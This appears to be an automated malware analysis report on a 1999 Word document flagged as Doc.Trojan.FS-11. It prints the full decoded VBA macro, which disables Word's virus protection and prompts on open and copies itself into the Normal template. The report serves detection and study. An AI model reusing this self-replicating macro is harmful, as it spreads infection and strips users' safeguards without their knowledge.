Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9537eb57c4c7661d…

MALICIOUS

Office (OLE)

29.5 KB Created: 1999-08-14 16:52:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 5a4d9f5f743a786407dd58ad56a1636d SHA-1: f93185f1f43444f89fab4fe06a94a3b00c7794b7 SHA-256: 9537eb57c4c7661d569a807520bffa7acc6953cd865b663de0306a63a8ebaef1
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is a Microsoft Word document containing a VBA macro that executes upon opening. The macro's primary function appears to be copying its own code into the Normal template, which is a common technique for establishing persistence. The ClamAV detection and the presence of a Document_Open macro strongly indicate malicious intent, likely for further payload delivery or system compromise.

Heuristics 3

  • ClamAV: Doc.Trojan.FS-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FS-11
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1073 bytes
SHA-256: 7f382c0e9d318a7919d9ed84f0948112ca316269b27f9f52337e53ded9f37ca4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Anoia
Private Sub Document_Open()
On Error Resume Next
ι = ActiveDocument.Saved
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Application.DisplayAlerts = 0
Options.ConfirmConversions = 0
Application.EnableCancelKey = 0
Application.DisplayStatusBar = 0
Set α = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set υ = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set ν = ThisDocument.VBProject.VBComponents(1).CodeModule
If α.CountOfLines < ν.CountOfLines Then
α.AddFromString ν.Lines(1, ν.CountOfLines)
If ActiveDocument.ReadOnly = False Then ActiveDocument.Save
ElseIf υ.CountOfLines < ν.CountOfLines Then
υ.AddFromString ν.Lines(1, ν.CountOfLines)
End If: ActiveDocument.Saved = ι
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.